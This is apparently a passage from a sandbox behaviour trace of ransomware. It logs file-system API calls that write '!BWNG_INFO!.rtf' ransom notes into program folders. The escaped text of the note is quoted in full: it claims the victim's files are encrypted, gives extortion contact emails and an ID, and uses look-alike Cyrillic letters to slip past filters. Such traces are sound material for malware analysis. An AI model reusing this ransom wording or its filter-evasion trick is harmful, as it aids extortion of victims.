\\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n§ùGù±0êÊ\x97õ&yµ\n<õÖ\x88àå\x96\x19\x94¨~r\x9eÒåä\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0042.805] WriteFile (in: hFile=0x1d0, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0043.425] CloseHandle (hObject=0x1d0) returned 1 [0043.425] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\!bwng_info!.rtf")) returned 0x20 [0043.425] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\!bwng_info!.rtf")) returned 0x20 [0043.428] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\!bwng_info!.rtf")) returned 0x20 [0043.428] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\!bwng_info!.rtf")) returned 0xffffffff [0043.428] GetLastError () returned 0x2 [0043.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0043.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 